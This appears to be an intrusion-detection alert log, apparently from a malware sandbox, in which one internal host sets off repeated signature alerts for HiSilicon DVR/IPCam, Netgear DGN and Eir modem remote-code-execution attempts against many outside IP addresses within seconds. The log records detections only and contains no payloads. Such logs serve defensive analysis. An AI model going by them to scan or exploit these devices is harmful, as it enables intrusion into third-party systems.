05/16/24-16:39:16.610511	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43672	9530	192.168.2.23	136.144.129.248
05/16/24-16:39:16.610511	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43672	9530	192.168.2.23	136.144.129.248
05/16/24-16:39:16.611843	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59732	9530	192.168.2.23	110.79.156.216
05/16/24-16:39:03.280169	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55094	9530	192.168.2.23	121.42.40.139
05/16/24-16:39:16.611843	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59732	9530	192.168.2.23	110.79.156.216
05/16/24-16:38:57.409805	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37618	9530	192.168.2.23	119.116.181.56
05/16/24-16:38:57.409805	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37618	9530	192.168.2.23	119.116.181.56
05/16/24-16:38:49.277920	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	34702	80	192.168.2.23	81.134.185.77
05/16/24-16:39:16.582470	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44208	9530	192.168.2.23	141.43.221.36
05/16/24-16:39:08.127240	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51828	9530	192.168.2.23	8.103.92.65
05/16/24-16:39:14.513622	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54824	9530	192.168.2.23	163.49.77.215
05/16/24-16:39:16.582470	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44208	9530	192.168.2.23	141.43.221.36
05/16/24-16:39:03.280169	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55094	9530	192.168.2.23	121.42.40.139
05/16/24-16:39:08.127240	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51828	9530	192.168.2.23	8.103.92.65
05/16/24-16:39:14.513622	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54824	9530	192.168.2.23	163.49.77.215
05/16/24-16:39:08.041934	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60348	9530	192.168.2.23	178.187.35.5
05/16/24-16:39:08.041934	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60348	9530	192.168.2.23	178.187.35.5
05/16/24-16:39:14.491176	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54716	9530	192.168.2.23	198.120.66.156
05/16/24-16:38:59.520033	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41428	9530	192.168.2.23	189.28.81.132
05/16/24-16:38:59.520033	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41428	9530	192.168.2.23	189.28.81.132
05/16/24-16:39:14.522058	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45814	9530	192.168.2.23	72.129.24.166
05/16/24-16:38:59.559321	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45778	9530	192.168.2.23	201.87.64.150
05/16/24-16:38:59.559321	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45778	9530	192.168.2.23	201.87.64.150
05/16/24-16:39:14.522058	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45814	9530	192.168.2.23	72.129.24.166
05/16/24-16:38:50.081804	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42756	9530	192.168.2.23	167.241.16.204
05/16/24-16:38:57.434382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35846	9530	192.168.2.23	2.134.115.186
05/16/24-16:38:50.081804	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42756	9530	192.168.2.23	167.241.16.204
05/16/24-16:38:57.434382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35846	9530	192.168.2.23	2.134.115.186
05/16/24-16:39:08.126405	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47830	9530	192.168.2.23	142.35.121.25
05/16/24-16:39:08.146023	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35290	9530	192.168.2.23	31.29.219.36
05/16/24-16:39:08.146023	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35290	9530	192.168.2.23	31.29.219.36
05/16/24-16:39:14.491176	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54716	9530	192.168.2.23	198.120.66.156
05/16/24-16:39:08.041738	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39174	9530	192.168.2.23	163.71.131.127
05/16/24-16:39:08.041738	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39174	9530	192.168.2.23	163.71.131.127
05/16/24-16:38:57.303915	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40710	9530	192.168.2.23	151.76.187.220
05/16/24-16:38:57.303915	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40710	9530	192.168.2.23	151.76.187.220
05/16/24-16:38:50.004146	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50814	9530	192.168.2.23	204.198.66.255
05/16/24-16:38:53.011497	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43288	9530	192.168.2.23	94.199.187.116
05/16/24-16:38:53.011497	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43288	9530	192.168.2.23	94.199.187.116
05/16/24-16:38:50.004146	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50814	9530	192.168.2.23	204.198.66.255
05/16/24-16:38:50.004286	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46124	9530	192.168.2.23	211.244.115.203
05/16/24-16:38:50.004286	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46124	9530	192.168.2.23	211.244.115.203
05/16/24-16:39:08.042006	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60346	9530	192.168.2.23	62.127.8.101
05/16/24-16:39:03.276919	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58070	9530	192.168.2.23	94.181.88.94
05/16/24-16:39:08.042006	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60346	9530	192.168.2.23	62.127.8.101
05/16/24-16:39:12.295356	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35034	9530	192.168.2.23	184.220.4.213
05/16/24-16:39:16.603128	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40016	9530	192.168.2.23	120.3.215.10
05/16/24-16:39:03.276919	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58070	9530	192.168.2.23	94.181.88.94
05/16/24-16:39:16.603128	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40016	9530	192.168.2.23	120.3.215.10
05/16/24-16:38:59.557143	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55198	9530	192.168.2.23	19.78.73.92
05/16/24-16:39:02.725564	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57218	9530	192.168.2.23	103.68.93.37
05/16/24-16:39:02.725564	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57218	9530	192.168.2.23	103.68.93.37
05/16/24-16:39:14.527294	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53538	9530	192.168.2.23	58.106.4.100
05/16/24-16:39:14.527294	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53538	9530	192.168.2.23	58.106.4.100
05/16/24-16:38:59.558464	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38912	9530	192.168.2.23	172.185.2.81
05/16/24-16:39:12.295356	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35034	9530	192.168.2.23	184.220.4.213
05/16/24-16:39:08.041122	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37040	9530	192.168.2.23	98.209.149.114
05/16/24-16:39:08.041904	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34810	9530	192.168.2.23	40.164.138.229
05/16/24-16:38:59.609911	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56426	9530	192.168.2.23	130.10.63.207
05/16/24-16:39:08.041122	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37040	9530	192.168.2.23	98.209.149.114
05/16/24-16:39:08.041904	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34810	9530	192.168.2.23	40.164.138.229
05/16/24-16:38:59.558464	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38912	9530	192.168.2.23	172.185.2.81
05/16/24-16:38:59.557143	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55198	9530	192.168.2.23	19.78.73.92
05/16/24-16:38:59.609911	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56426	9530	192.168.2.23	130.10.63.207
05/16/24-16:38:57.306873	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45726	9530	192.168.2.23	211.1.210.89
05/16/24-16:39:05.699959	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54536	9530	192.168.2.23	146.92.24.32
05/16/24-16:38:57.306873	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45726	9530	192.168.2.23	211.1.210.89
05/16/24-16:39:05.699959	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54536	9530	192.168.2.23	146.92.24.32
05/16/24-16:39:12.403697	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44358	9530	192.168.2.23	222.166.40.95
05/16/24-16:39:12.403697	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44358	9530	192.168.2.23	222.166.40.95
05/16/24-16:39:16.608392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39992	9530	192.168.2.23	140.190.139.234
05/16/24-16:39:16.608392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39992	9530	192.168.2.23	140.190.139.234
05/16/24-16:39:02.727996	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60424	9530	192.168.2.23	196.186.222.246
05/16/24-16:39:12.295300	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55750	9530	192.168.2.23	168.148.163.71
05/16/24-16:39:02.727996	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60424	9530	192.168.2.23	196.186.222.246
05/16/24-16:38:55.220859	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51060	9530	192.168.2.23	189.22.185.109
05/16/24-16:38:55.220859	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51060	9530	192.168.2.23	189.22.185.109
05/16/24-16:39:12.295300	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55750	9530	192.168.2.23	168.148.163.71
05/16/24-16:39:16.599450	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53170	9530	192.168.2.23	59.38.91.108
05/16/24-16:39:16.599450	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53170	9530	192.168.2.23	59.38.91.108
05/16/24-16:39:05.702439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57922	9530	192.168.2.23	77.19.69.230
05/16/24-16:38:50.052449	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44084	9530	192.168.2.23	167.42.217.222
05/16/24-16:39:05.702439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57922	9530	192.168.2.23	77.19.69.230
05/16/24-16:38:50.052449	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44084	9530	192.168.2.23	167.42.217.222
05/16/24-16:38:55.213083	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60880	9530	192.168.2.23	90.91.120.172
05/16/24-16:38:55.213083	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60880	9530	192.168.2.23	90.91.120.172
05/16/24-16:38:53.011368	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38490	9530	192.168.2.23	142.247.137.69
05/16/24-16:38:53.011368	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38490	9530	192.168.2.23	142.247.137.69
05/16/24-16:39:05.679553	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33380	9530	192.168.2.23	148.12.20.124
05/16/24-16:39:13.663454	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	36772	80	192.168.2.23	206.205.86.165
05/16/24-16:39:05.712617	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58926	9530	192.168.2.23	73.30.133.254
05/16/24-16:39:05.712617	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58926	9530	192.168.2.23	73.30.133.254
05/16/24-16:39:05.679553	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33380	9530	192.168.2.23	148.12.20.124
05/16/24-16:39:12.298151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46552	9530	192.168.2.23	137.7.103.251
05/16/24-16:39:12.298151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46552	9530	192.168.2.23	137.7.103.251
05/16/24-16:38:55.175004	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39952	9530	192.168.2.23	36.160.212.66
05/16/24-16:38:59.609951	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38110	9530	192.168.2.23	69.210.148.182
05/16/24-16:38:55.175004	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39952	9530	192.168.2.23	36.160.212.66
05/16/24-16:38:59.609951	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38110	9530	192.168.2.23	69.210.148.182
05/16/24-16:39:05.698764	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38862	9530	192.168.2.23	219.74.63.226
05/16/24-16:39:05.698764	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38862	9530	192.168.2.23	219.74.63.226
05/16/24-16:38:59.558003	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47756	9530	192.168.2.23	59.232.84.117
05/16/24-16:38:59.558003	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47756	9530	192.168.2.23	59.232.84.117
05/16/24-16:39:05.698714	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53198	9530	192.168.2.23	62.10.97.140
05/16/24-16:38:53.071312	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35368	9530	192.168.2.23	100.3.169.192
05/16/24-16:38:53.071312	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35368	9530	192.168.2.23	100.3.169.192
05/16/24-16:39:05.698714	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53198	9530	192.168.2.23	62.10.97.140
05/16/24-16:39:02.097096	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42324	5555	192.168.2.23	125.195.20.39
05/16/24-16:38:59.520008	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53588	9530	192.168.2.23	163.128.70.203
05/16/24-16:39:03.267141	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35546	9530	192.168.2.23	141.115.163.36
05/16/24-16:39:03.267141	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35546	9530	192.168.2.23	141.115.163.36
05/16/24-16:38:59.559321	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32992	9530	192.168.2.23	107.17.186.40
05/16/24-16:38:59.520008	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53588	9530	192.168.2.23	163.128.70.203
05/16/24-16:38:59.559321	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32992	9530	192.168.2.23	107.17.186.40
05/16/24-16:39:12.402902	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46190	9530	192.168.2.23	154.141.13.4
05/16/24-16:39:03.280209	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54294	9530	192.168.2.23	79.171.191.115
05/16/24-16:39:12.402902	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46190	9530	192.168.2.23	154.141.13.4
05/16/24-16:39:03.280209	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54294	9530	192.168.2.23	79.171.191.115
05/16/24-16:39:08.041832	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49336	9530	192.168.2.23	75.190.222.14
05/16/24-16:38:50.001247	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38420	9530	192.168.2.23	105.168.21.86
05/16/24-16:38:50.001247	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38420	9530	192.168.2.23	105.168.21.86
05/16/24-16:39:08.041832	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49336	9530	192.168.2.23	75.190.222.14
05/16/24-16:39:16.599369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33680	9530	192.168.2.23	183.114.180.85
05/16/24-16:39:16.599369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33680	9530	192.168.2.23	183.114.180.85
05/16/24-16:38:55.208913	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37512	9530	192.168.2.23	64.48.76.80
05/16/24-16:39:16.611226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51226	9530	192.168.2.23	104.80.117.30
05/16/24-16:38:55.208913	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37512	9530	192.168.2.23	64.48.76.80
05/16/24-16:39:16.611226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51226	9530	192.168.2.23	104.80.117.30
05/16/24-16:38:50.048816	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59786	9530	192.168.2.23	86.164.81.165
05/16/24-16:38:50.048816	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59786	9530	192.168.2.23	86.164.81.165
05/16/24-16:39:12.406640	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34206	9530	192.168.2.23	19.30.159.126
05/16/24-16:39:12.406640	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34206	9530	192.168.2.23	19.30.159.126
05/16/24-16:39:03.281226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48464	9530	192.168.2.23	137.207.8.6
05/16/24-16:39:03.281226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48464	9530	192.168.2.23	137.207.8.6
05/16/24-16:39:03.263582	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54778	9530	192.168.2.23	140.156.74.74
05/16/24-16:38:50.004138	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40638	9530	192.168.2.23	203.139.168.178
05/16/24-16:39:16.599007	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41470	9530	192.168.2.23	66.118.232.183
05/16/24-16:39:16.599007	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41470	9530	192.168.2.23	66.118.232.183
05/16/24-16:39:08.092880	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45944	9530	192.168.2.23	154.3.74.184
05/16/24-16:39:08.146404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55446	9530	192.168.2.23	8.10.93.11
05/16/24-16:39:08.092880	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45944	9530	192.168.2.23	154.3.74.184
05/16/24-16:39:08.146404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55446	9530	192.168.2.23	8.10.93.11
05/16/24-16:38:50.004138	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40638	9530	192.168.2.23	203.139.168.178
05/16/24-16:39:03.263582	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54778	9530	192.168.2.23	140.156.74.74
05/16/24-16:39:02.767175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42170	9530	192.168.2.23	167.220.201.50
05/16/24-16:39:14.507686	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32990	9530	192.168.2.23	156.86.198.152
05/16/24-16:38:55.210373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41104	9530	192.168.2.23	87.191.76.119
05/16/24-16:39:14.507686	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32990	9530	192.168.2.23	156.86.198.152
05/16/24-16:38:55.210373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41104	9530	192.168.2.23	87.191.76.119
05/16/24-16:39:12.295435	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44980	9530	192.168.2.23	156.171.76.118
05/16/24-16:39:12.295435	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44980	9530	192.168.2.23	156.171.76.118
05/16/24-16:39:03.276928	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40190	9530	192.168.2.23	46.174.97.47
05/16/24-16:39:14.507386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47412	9530	192.168.2.23	89.48.177.93
05/16/24-16:38:57.425718	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35054	9530	192.168.2.23	107.60.82.45
05/16/24-16:39:03.276928	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40190	9530	192.168.2.23	46.174.97.47
05/16/24-16:38:57.425718	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35054	9530	192.168.2.23	107.60.82.45
05/16/24-16:39:14.507386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47412	9530	192.168.2.23	89.48.177.93
05/16/24-16:39:12.400963	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48148	9530	192.168.2.23	62.223.176.88
05/16/24-16:39:12.400963	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48148	9530	192.168.2.23	62.223.176.88
05/16/24-16:39:09.595122	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	47236	80	192.168.2.23	76.160.156.195
05/16/24-16:39:02.747904	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51566	9530	192.168.2.23	88.145.32.251
05/16/24-16:39:02.747904	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51566	9530	192.168.2.23	88.145.32.251
05/16/24-16:38:53.011234	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35506	9530	192.168.2.23	216.113.15.237
05/16/24-16:38:57.429984	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51496	9530	192.168.2.23	105.35.181.26
05/16/24-16:39:08.136819	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60754	9530	192.168.2.23	209.212.175.200
05/16/24-16:38:53.011234	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35506	9530	192.168.2.23	216.113.15.237
05/16/24-16:38:57.429984	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51496	9530	192.168.2.23	105.35.181.26
05/16/24-16:39:08.136819	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60754	9530	192.168.2.23	209.212.175.200
05/16/24-16:38:57.424473	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53582	9530	192.168.2.23	79.83.63.71
05/16/24-16:38:57.424473	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53582	9530	192.168.2.23	79.83.63.71
05/16/24-16:39:12.382141	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42186	9530	192.168.2.23	84.20.143.31
05/16/24-16:39:12.382141	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42186	9530	192.168.2.23	84.20.143.31
05/16/24-16:38:53.011282	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55572	9530	192.168.2.23	196.207.6.187
05/16/24-16:38:53.011282	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55572	9530	192.168.2.23	196.207.6.187
